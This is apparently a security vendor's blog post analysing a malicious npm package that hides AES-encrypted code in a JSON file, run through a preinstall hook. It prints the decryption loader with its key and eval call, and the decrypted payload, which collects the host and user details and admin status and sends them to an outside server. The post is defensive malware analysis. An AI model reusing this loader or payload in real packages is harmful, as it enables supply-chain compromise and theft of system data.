Today’s Security Tidbit: An Encrypted JSON File Containing Malicious Code
Table of Contents
As security researchers, we see new malicious methods being introduced on a daily basis from the ever-industrious global cadre of malicious actors. But not all of the things we find constitute breaking news. Sometimes, we run across something that doesn’t necessarily pose a threat, but still piques our interest. Instead of being the security equivalent of a four-course meal, it’s more of an amuse bouche.
Case in point: an interesting new behaviour we recently encountered from a security researcher. In this instance, we observed a malicious package named ‘support-center-components’ that is executed upon installation. What really caught our interest here is that the harmful code is not only in a JSON file, but it is also fully encrypted.
JSON is a lightweight data-interchange format, and it is used for data purposes. A package.json file is located at the root of any Node.js project and is critical for the installation and operation of the project. Data from this JSON file enables dependency installation, script running and more. However, it is not generally used for malicious code – and especially not encrypted malicious code.
Inside the package
Let’s take a look at what this particular person came up with. The package contains 5 files:
- A standard README file
- A package.json file containing a preinstall command for the install.js file we will inspect shortly
- An empty index.js file
- Two one-liner files, install.js and install.json
The install.js and install.json are what caught our attention, as an inspection of the screenshots below will illustrate:
AES-256 encryption and decryption
The install.js file indicates that the encryption algorithm used is AES-256, which has a 32 byte key length. AES-256 is practically unbreakable by brute force methods based on current computing power, making it the strongest encryption standard.
While npm rules prohibit malicious security research, they often ignored by security researchers. Such is the case here, which means that all the relevant information needed to decrypt the code is visible to us. Regardless, we found it useful as an exercise to show how easy it is to upload a malicious encrypted code to npm.
The necessary information to decrypt the JSON file is as follows:
- Cipher mode of decryption (CTR as stated in install.js)
- initialization vector (IV) used during encryption (stated at the beginning of install.json)
- Input format (HEX as stated in install.js)
- Secret key used for encryption (as stated in install.js under the variable ‘t’)
const e = require('crypto'),
r = 'aes-256-ctr',
t = 'QeThWmZq4t7w!z%C*F-JaNcRfUjXn2r5',
c = (c) => {
const n = e.createDecipheriv(r, t, Buffer.from(c.iv, 'hex'))
return Buffer.concat([
n.update(Buffer.from(c.content, 'hex')),
n.final(),
]).toString()
}
module.exports = { decrypt: c }
const n = require('fs')
n.readFile('install.json', (e, r) => {
eval(c(JSON.parse(r)))
})
Figure 3 – The install.js file being beautified and made more readable
The code will take the install.json file and decrypt it with a custom function c using createDecipheriv, which is a built-in function of the ‘crypto’ module. It is used to create a Decipher object, with the stated algorithm, key, and IV.
After applying the relevant information to decrypt the mysterious JSON file, we see the following code:
var os = require('os');
var hostname = os.hostname();
var username = os.userInfo().username;
var platform = os.platform();
var dns;
try {
dns = require('dns');
}
catch {
}
var admin_text;
if (platform == 'win32' || platform == 'win64') {
try {
net_session = require('child_process').execSync('net session');
admin_text = 'admin';
}
catch {
admin_text = 'non-admin';
}
username = require('child_process').execSync('systeminfo | findstr /B
Domain').toString().replace('Domain:', '').trim() + '/' + username;
} else {
admin_text = os.userInfo().uid;
try {
const { execSync } = require('child_process');
let stdout = execSync('groups').toString().replace('\n', '');
admin_text += ' ' + stdout;
}
catch {
}
}
try {
dns.resolve4('i2gind2y83hr03sui7wppz4bi.canarytokens.com', function(err, addresses) {});
}
catch {
}
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
const https = require('https')
const options = {
hostname: 'bugbounty.click',
port: 443,
path: '/dc1234-bugbounty/knock-knock/log-install.php?Username=' +
encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' +
encodeURI(hostname) + '&Package=support-center-components&PWD=' +
__dirname,
method: 'GET'
}
const req = https.request(options)
req.end();
Figure 4 – Decrypted json.install file
The code first requires the ‘os’ module, which is used to get sensitive information such as the hostname and username of the user running this code. It then tries to acquire the admin status of the current user. From there, we see a check for the OS, followed by a check to see whether the user is an administrator. Finally, there is an HTTPS request to connect to the bugbounty.click website on port 443 and send a request for the log-install.php file.
As stated in the README file of the package: “if you’re reading this, then if I was a malicious hacker then I could have control over your machine.”
Grammatical issues aside, this is a true statement. As we can see in the package.json file, the command “preinstall”: “node install.js” executes install.js upon installation of the package from npm, which then executes the malicious code install.json. Install.json may contain any malicious harmful code.
Figure 5 – the README file of the package ‘support-center-components’
Impact
Now, a security researcher playing around on npm is not generally considered a threat, and by no means do we want to imply that it is. But bear in mind that malicious authors often mimic each other’s code, which raises the risk that we will see a repeat of this method of encrypted malicious code. And next time, it could well use a more dangerous code in the JSON file, such as a remote shell.
How to protect your organization
Supply chain attacks evolve and grow more frequent each day. The easiest way to protect this attack surface is to use an automated supply chain security solution such as Mend Supply Chain Defender, which informs you when you import a malicious package from open source registries.
Mend enterprise customers using JFrog Artifactory as a private repository manager can prevent malicious open source software from entering their code base using the Mend Supply Chain Defender Integration with JFrog Artifactory.